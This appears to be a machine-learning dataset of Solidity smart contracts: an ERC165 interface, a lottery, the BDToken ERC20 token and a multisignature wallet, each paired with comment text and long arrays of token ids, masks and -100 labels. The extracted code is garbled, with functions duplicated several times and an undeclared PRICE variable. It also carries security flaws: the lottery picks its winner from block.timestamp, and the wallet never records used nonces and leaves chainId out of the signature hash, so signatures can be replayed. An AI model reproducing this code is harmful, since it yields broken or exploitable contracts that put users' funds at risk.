* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
| Mon Sep 20 2021 13:30:00 GMT+0000
| uint256 public presaleStart = 1632144600; | 563,954 | [
1,
11415,
18032,
4200,
26599,
21,
5958,
30,
5082,
30,
713,
21706,
15,
2787,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2254,
5034,
1071,
4075,
5349,
1685,
273,
2872,
1578,
3461,
8749,
713,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0xb1AC6cC2f48Cd6cA6c36cE4daf4B1F4792699587/sources/contracts/Lottery.sol | eventsuint256addressesboolsmappingsconstructor | contract Lottery is Ownable {
event JoinEvent(uint256 _length, uint _qty);
event DrawEvent(address winner);
uint256 public MAX_TICKETS = 999;
uint256 public number;
address public TOKEN_ADDRESS;
address public WINNER;
address[] public TICKETBAG;
IERC20 public stackAddress;
bool public LOTTO_LIVE;
mapping(address => uint256) public AMOUNT_MAPPING;
constructor(address _stackAddress) public {
LOTTO_LIVE = false;
stackAddress = IERC20(_stackAddress);
}
function setNumber(uint _num) public {
number = _num;
}
function checkNotStarted() public view returns (bool) {
return LOTTO_LIVE;
}
function getMax() public view returns (uint256) {
return MAX_TICKETS;
}
function getPrice() public view returns (uint256) {
return PRICE;
}
function startLotto() public onlyOwner () {
require(!LOTTO_LIVE);
LOTTO_LIVE = true;
}
function setMaxTickets(uint256 amount) public onlyOwner() {
MAX_TICKETS = amount;
}
function setPrice(uint256 _price) public onlyOwner() {
PRICE = _price;
}
function buyTickets(uint256 _qty) public {
require(LOTTO_LIVE);
require(_qty > 0);
require(TICKETBAG.length + _qty <= MAX_TICKETS);
AMOUNT_MAPPING[msg.sender] = _qty;
stackAddress.transferFrom(_msgSender(), address(this), PRICE * _qty);
for (uint256 i = 0; i < _qty; i++) {
TICKETBAG.push(msg.sender);
}
emit JoinEvent (TICKETBAG.length, _qty);
if(TICKETBAG.length == MAX_TICKETS) {
endLotto();
}
}
function buyTickets(uint256 _qty) public {
require(LOTTO_LIVE);
require(_qty > 0);
require(TICKETBAG.length + _qty <= MAX_TICKETS);
AMOUNT_MAPPING[msg.sender] = _qty;
stackAddress.transferFrom(_msgSender(), address(this), PRICE * _qty);
for (uint256 i = 0; i < _qty; i++) {
TICKETBAG.push(msg.sender);
}
emit JoinEvent (TICKETBAG.length, _qty);
if(TICKETBAG.length == MAX_TICKETS) {
endLotto();
}
}
function buyTickets(uint256 _qty) public {
require(LOTTO_LIVE);
require(_qty > 0);
require(TICKETBAG.length + _qty <= MAX_TICKETS);
AMOUNT_MAPPING[msg.sender] = _qty;
stackAddress.transferFrom(_msgSender(), address(this), PRICE * _qty);
for (uint256 i = 0; i < _qty; i++) {
TICKETBAG.push(msg.sender);
}
emit JoinEvent (TICKETBAG.length, _qty);
if(TICKETBAG.length == MAX_TICKETS) {
endLotto();
}
}
function draw() public onlyOwner returns(address){
require(TICKETBAG.length > 0);
require(LOTTO_LIVE);
uint256 randomNum = uint256(block.timestamp) % uint256(TICKETBAG.length-1);
WINNER = TICKETBAG[randomNum];
emit DrawEvent(WINNER);
return WINNER;
}
function getTicketsSold() external view returns(uint256) {
return TICKETBAG.length;
}
function endLotto() public onlyOwner returns(address){
require(LOTTO_LIVE);
WINNER = draw();
LOTTO_LIVE = false;
delete TICKETBAG;
return WINNER;
}
function withdrawTokens() external onlyOwner {
uint256 tokenSupply = stackAddress.balanceOf(address(this));
stackAddress.transferFrom(address(this), msg.sender, tokenSupply);
}
}
| 16,467,693 | [
1,
5989,
11890,
5034,
13277,
1075,
3528,
16047,
12316,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
511,
352,
387,
93,
353,
14223,
6914,
288,
203,
377,
203,
565,
871,
4214,
1133,
12,
11890,
5034,
389,
2469,
16,
2254,
389,
85,
4098,
1769,
203,
565,
871,
10184,
1133,
12,
2867,
5657,
1224,
1769,
203,
203,
565,
2254,
5034,
1071,
4552,
67,
56,
16656,
1584,
55,
273,
22249,
31,
203,
565,
2254,
5034,
1071,
1300,
31,
203,
565,
1758,
1071,
14275,
67,
15140,
31,
203,
565,
1758,
1071,
678,
25000,
31,
203,
565,
1758,
8526,
1071,
399,
16656,
1584,
38,
1781,
31,
203,
565,
467,
654,
39,
3462,
1071,
2110,
1887,
31,
203,
203,
565,
1426,
1071,
1806,
1470,
51,
67,
2053,
3412,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
1071,
432,
5980,
5321,
67,
20450,
31,
203,
203,
203,
565,
3885,
12,
2867,
389,
3772,
1887,
13,
1071,
288,
203,
3639,
1806,
1470,
51,
67,
2053,
3412,
273,
629,
31,
203,
3639,
2110,
1887,
273,
467,
654,
39,
3462,
24899,
3772,
1887,
1769,
203,
565,
289,
203,
565,
445,
444,
1854,
12,
11890,
389,
2107,
13,
1071,
288,
203,
3639,
1300,
273,
389,
2107,
31,
203,
565,
289,
203,
565,
445,
866,
1248,
9217,
1435,
1071,
1476,
1135,
261,
6430,
13,
288,
203,
3639,
327,
1806,
1470,
51,
67,
2053,
3412,
31,
203,
565,
289,
203,
565,
445,
7288,
1435,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
4552,
67,
56,
16656,
1584,
55,
31,
203,
565,
289,
203,
565,
445,
25930,
1435,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2
]
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
/// @return total amount of tokens
uint public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public constant returns (uint balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract BDToken is ERC20 {
using SafeMath for uint;
uint constant private MAX_UINT256 = 2**256 - 1;
uint8 constant public decimals = 18;
string public name;
string public symbol;
address public owner;
// True if transfers are allowed
bool public transferable = true;
/* This creates an array with all balances */
mapping (address => uint) freezes;
mapping (address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
modifier onlyOwner {
require(msg.sender == owner);//"Only owner can call this function."
_;
}
modifier canTransfer() {
require(transferable == true);
_;
}
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint value);
/* This notifies clients about the amount frozen */
event Freeze(address indexed from, uint value);
/* This notifies clients about the amount unfrozen */
event Unfreeze(address indexed from, uint value);
/* Initializes contract with initial supply tokens to the creator of the contract */
function BDToken() public {
totalSupply = 100*10**26; // Update total supply with the decimal amount
name = "BaoDe Token";
symbol = "BDT";
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
owner = msg.sender;
emit Transfer(address(0), msg.sender, totalSupply);
}
/* Send coins */
function transfer(address _to, uint _value) public canTransfer returns (bool success) {
require(_to != address(0));// Prevent transfer to 0x0 address.
require(_value > 0);
require(balances[msg.sender] >= _value); // Check if the sender has enough
require(balances[_to] + _value >= balances[_to]); // Check for overflows
balances[msg.sender] = balances[msg.sender].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint _value) public canTransfer returns (bool success) {
uint allowance = allowed[_from][msg.sender];
require(_to != address(0));// Prevent transfer to 0x0 address.
require(_value > 0);
require(balances[_from] >= _value); // Check if the sender has enough
require(allowance >= _value); // Check allowance
require(balances[_to] + _value >= balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
}
emit Transfer(_from, _to, _value);
return true;
}
/* Allow another contract to spend some tokens in your behalf */
function approve(address _spender, uint _value) public canTransfer returns (bool success) {
require(_value >= 0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint remaining) {
return allowed[_owner][_spender];
}
function freezeOf(address _owner) public view returns (uint freeze) {
return freezes[_owner];
}
function burn(uint _value) public canTransfer returns (bool success) {
require(balances[msg.sender] >= _value); // Check if the sender has enough
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function freeze(uint _value) public canTransfer returns (bool success) {
require(balances[msg.sender] >= _value); // Check if the sender has enough
require(_value > 0);
require(freezes[msg.sender] + _value >= freezes[msg.sender]); // Check for overflows
balances[msg.sender] = balances[msg.sender].sub(_value); // Subtract from the sender
freezes[msg.sender] = freezes[msg.sender].add(_value);
emit Freeze(msg.sender, _value);
return true;
}
function unfreeze(uint _value) public canTransfer returns (bool success) {
require(freezes[msg.sender] >= _value); // Check if the sender has enough
require(_value > 0);
require(balances[msg.sender] + _value >= balances[msg.sender]); // Check for overflows
freezes[msg.sender] = freezes[msg.sender].sub(_value); // Subtract from the sender
balances[msg.sender] = balances[msg.sender].add(_value);
emit Unfreeze(msg.sender, _value);
return true;
}
/**
* @dev Transfer tokens to multiple addresses
* @param _addresses The addresses that will receieve tokens
* @param _amounts The quantity of tokens that will be transferred
* @return True if the tokens are transferred correctly
*/
function transferForMultiAddresses(address[] _addresses, uint[] _amounts) public canTransfer returns (bool) {
for (uint i = 0; i < _addresses.length; i++) {
require(_addresses[i] != address(0)); // Prevent transfer to 0x0 address.
require(_amounts[i] > 0);
require(balances[msg.sender] >= _amounts[i]); // Check if the sender has enough
require(balances[_addresses[i]] + _amounts[i] >= balances[_addresses[i]]); // Check for overflows
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_amounts[i]);
balances[_addresses[i]] = balances[_addresses[i]].add(_amounts[i]);
emit Transfer(msg.sender, _addresses[i], _amounts[i]);
}
return true;
}
function stop() public onlyOwner {
transferable = false;
}
function start() public onlyOwner {
transferable = true;
}
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
}
// transfer balance to owner
function withdrawEther(uint amount) public onlyOwner {
require(amount > 0);
owner.transfer(amount);
}
// can accept ether
function() public payable {
}
} | This notifies clients about the amount frozen */ | event Freeze(address indexed from, uint value);
| 479,423 | [
1,
2503,
19527,
7712,
2973,
326,
3844,
12810,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
871,
15217,
8489,
12,
2867,
8808,
628,
16,
2254,
460,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.5.8;
contract MultiSign {
event Deposit(address indexed from, uint256 value);
event Execution(
address indexed from,
uint256 value,
address indexed to,
uint256 gasLimit,
bytes data,
bool success,
bytes result
);
event Shutdown(address indexed from, bool shutdown);
//Query Owners of this wallet
address[] public owners;
//Minimal number of signatures to make a execution call
uint256 public threshold;
//To avoid replay from diferent networks
uint256 public chainId;
//To avoid replay of the same transaction
uint256 public nonce;
bool internal _lock;
bool internal _shutdown;
string constant HEADER = "\x19Ethereum Signed Message:\n32";
mapping(address => bool) internal _isOwner;
mapping(uint256 => bool) internal _usedNonce;
constructor(
address[] memory _owners,
uint256 _threshold,
uint256 _chainId
)
public
{
require(_threshold > 0, 'Threshold not valid');
require(_owners.length >= _threshold, 'invalid peers addresses');
threshold = _threshold;
owners = _owners;
chainId = _chainId;
for(uint256 i = 0; i < owners.length; i++) {
require(!_isOwner[owners[i]] && owners[i] != address(0x0));
_isOwner[owners[i]] = true;
}
}
function getOwners() external view returns(address[] memory) {
return owners;
}
function() external payable {
if(msg.value > 0) {
emit Deposit(msg.sender, msg.value);
}
}
function execute(
bytes calldata _signatures,
uint256 _nonce,
uint256 _amount,
address payable _destination,
uint256 _gasLimit,
bytes calldata _data
)
external
shutdown(_destination)
{
require(!_usedNonce[nonce], 'nonce used');
bytes32 _hash = keccak256(
abi.encodePacked
(HEADER,
keccak256(abi.encodePacked(_nonce, _amount, _destination, _gasLimit, _data))
)
);
address _testAddr = address(0x0);
address _lastAddr = address(0x0);
uint256 i;
while(i < threshold) {
_testAddr = recovery(_hash, _signatures, i);
require(_lastAddr < _testAddr, 'signatures order should be ASC and unique');
require(_isOwner[_testAddr], 'not peer');
_lastAddr = _testAddr;
i++;
}
require(i == threshold, "threshold not meet");
bool success;
bytes memory result;
(success, result) = _execute(_amount, _destination, _gasLimit, _data);
require(success, 'executing external call');
nonce = nonce + 1;
//Emit execution event
emit Execution(msg.sender, _amount, _destination, _gasLimit, _data, success, result);
//return (success, result);
}
function setShutdown(bool _isShutdown) external isOwner {
_shutdown = _isShutdown;
emit Shutdown(msg.sender, _shutdown);
}
function getShutdown() external view returns(bool) {
return _shutdown;
}
function recovery(bytes32 _hash, bytes memory _signatures, uint256 _index) internal pure returns(address) {
bytes32 r;
bytes32 s;
uint8 v;
(r,s,v) = _slice(_signatures, _index);
return ecrecover(_hash, v, r, s);
}
//Slice the bytes to signatures;
function _slice(bytes memory _signatures, uint256 _index) internal pure returns(bytes32 r, bytes32 s, uint8 v) {
assembly {
let _offset := mul(_index, 65)
r := mload(add(_signatures, add(32, _offset)))
s := mload(add(_signatures, add(64, _offset)))
v := and(mload(add(_signatures, add(65, _offset))), 0xff)
}
if(v < 27) {
v += 27;
}
require(v == 27 || v == 28, "signature invalid, not v==27 || v==28");
}
function _execute(
uint256 _amount,
address payable _destination,
uint256 _gasLimit,
bytes memory _data
)
internal
lock
returns(bool, bytes memory)
{
return _destination.call.gas(_gasLimit).value(_amount)(_data);
}
modifier isOwner {
require(_isOwner[msg.sender], 'not owner');
_;
}
modifier lock {
require(!_lock, 'resource in use');
_lock = true;
_;
_lock = false;
}
modifier shutdown(address _dest) {
if(_shutdown) {
require(_isOwner[_dest]);
}
_;
}
}
| Query Owners of this walletMinimal number of signatures to make a execution callTo avoid replay from diferent networksTo avoid replay of the same transaction | contract MultiSign {
event Deposit(address indexed from, uint256 value);
event Execution(
address indexed from,
uint256 value,
address indexed to,
uint256 gasLimit,
bytes data,
bool success,
bytes result
);
event Shutdown(address indexed from, bool shutdown);
address[] public owners;
uint256 public threshold;
uint256 public chainId;
uint256 public nonce;
bool internal _lock;
bool internal _shutdown;
string constant HEADER = "\x19Ethereum Signed Message:\n32";
mapping(address => bool) internal _isOwner;
mapping(uint256 => bool) internal _usedNonce;
constructor(
address[] memory _owners,
uint256 _threshold,
uint256 _chainId
)
public
{
require(_threshold > 0, 'Threshold not valid');
require(_owners.length >= _threshold, 'invalid peers addresses');
threshold = _threshold;
owners = _owners;
chainId = _chainId;
for(uint256 i = 0; i < owners.length; i++) {
require(!_isOwner[owners[i]] && owners[i] != address(0x0));
_isOwner[owners[i]] = true;
}
}
{
require(_threshold > 0, 'Threshold not valid');
require(_owners.length >= _threshold, 'invalid peers addresses');
threshold = _threshold;
owners = _owners;
chainId = _chainId;
for(uint256 i = 0; i < owners.length; i++) {
require(!_isOwner[owners[i]] && owners[i] != address(0x0));
_isOwner[owners[i]] = true;
}
}
function getOwners() external view returns(address[] memory) {
return owners;
}
function() external payable {
if(msg.value > 0) {
emit Deposit(msg.sender, msg.value);
}
}
function() external payable {
if(msg.value > 0) {
emit Deposit(msg.sender, msg.value);
}
}
function execute(
bytes calldata _signatures,
uint256 _nonce,
uint256 _amount,
address payable _destination,
uint256 _gasLimit,
bytes calldata _data
)
external
shutdown(_destination)
{
require(!_usedNonce[nonce], 'nonce used');
bytes32 _hash = keccak256(
abi.encodePacked
(HEADER,
keccak256(abi.encodePacked(_nonce, _amount, _destination, _gasLimit, _data))
)
);
address _testAddr = address(0x0);
address _lastAddr = address(0x0);
uint256 i;
while(i < threshold) {
_testAddr = recovery(_hash, _signatures, i);
require(_lastAddr < _testAddr, 'signatures order should be ASC and unique');
require(_isOwner[_testAddr], 'not peer');
_lastAddr = _testAddr;
i++;
}
require(i == threshold, "threshold not meet");
bool success;
bytes memory result;
(success, result) = _execute(_amount, _destination, _gasLimit, _data);
require(success, 'executing external call');
nonce = nonce + 1;
function execute(
bytes calldata _signatures,
uint256 _nonce,
uint256 _amount,
address payable _destination,
uint256 _gasLimit,
bytes calldata _data
)
external
shutdown(_destination)
{
require(!_usedNonce[nonce], 'nonce used');
bytes32 _hash = keccak256(
abi.encodePacked
(HEADER,
keccak256(abi.encodePacked(_nonce, _amount, _destination, _gasLimit, _data))
)
);
address _testAddr = address(0x0);
address _lastAddr = address(0x0);
uint256 i;
while(i < threshold) {
_testAddr = recovery(_hash, _signatures, i);
require(_lastAddr < _testAddr, 'signatures order should be ASC and unique');
require(_isOwner[_testAddr], 'not peer');
_lastAddr = _testAddr;
i++;
}
require(i == threshold, "threshold not meet");
bool success;
bytes memory result;
(success, result) = _execute(_amount, _destination, _gasLimit, _data);
require(success, 'executing external call');
nonce = nonce + 1;
emit Execution(msg.sender, _amount, _destination, _gasLimit, _data, success, result);
}
function setShutdown(bool _isShutdown) external isOwner {
_shutdown = _isShutdown;
emit Shutdown(msg.sender, _shutdown);
}
function getShutdown() external view returns(bool) {
return _shutdown;
}
function recovery(bytes32 _hash, bytes memory _signatures, uint256 _index) internal pure returns(address) {
bytes32 r;
bytes32 s;
uint8 v;
(r,s,v) = _slice(_signatures, _index);
return ecrecover(_hash, v, r, s);
}
function _slice(bytes memory _signatures, uint256 _index) internal pure returns(bytes32 r, bytes32 s, uint8 v) {
assembly {
let _offset := mul(_index, 65)
r := mload(add(_signatures, add(32, _offset)))
s := mload(add(_signatures, add(64, _offset)))
v := and(mload(add(_signatures, add(65, _offset))), 0xff)
}
if(v < 27) {
v += 27;
}
require(v == 27 || v == 28, "signature invalid, not v==27 || v==28");
}
function _slice(bytes memory _signatures, uint256 _index) internal pure returns(bytes32 r, bytes32 s, uint8 v) {
assembly {
let _offset := mul(_index, 65)
r := mload(add(_signatures, add(32, _offset)))
s := mload(add(_signatures, add(64, _offset)))
v := and(mload(add(_signatures, add(65, _offset))), 0xff)
}
if(v < 27) {
v += 27;
}
require(v == 27 || v == 28, "signature invalid, not v==27 || v==28");
}
function _slice(bytes memory _signatures, uint256 _index) internal pure returns(bytes32 r, bytes32 s, uint8 v) {
assembly {
let _offset := mul(_index, 65)
r := mload(add(_signatures, add(32, _offset)))
s := mload(add(_signatures, add(64, _offset)))
v := and(mload(add(_signatures, add(65, _offset))), 0xff)
}
if(v < 27) {
v += 27;
}
require(v == 27 || v == 28, "signature invalid, not v==27 || v==28");
}
function _execute(
uint256 _amount,
address payable _destination,
uint256 _gasLimit,
bytes memory _data
)
internal
lock
returns(bool, bytes memory)
{
return _destination.call.gas(_gasLimit).value(_amount)(_data);
}
modifier isOwner {
require(_isOwner[msg.sender], 'not owner');
_;
}
modifier lock {
require(!_lock, 'resource in use');
_lock = true;
_;
_lock = false;
}
modifier shutdown(address _dest) {
if(_shutdown) {
require(_isOwner[_dest]);
}
_;
}
modifier shutdown(address _dest) {
if(_shutdown) {
require(_isOwner[_dest]);
}
_;
}
}
| 13,027,610 | [
1,
1138,
14223,
9646,
434,
333,
9230,
2930,
2840,
1300,
434,
14862,
358,
1221,
279,
4588,
745,
774,
4543,
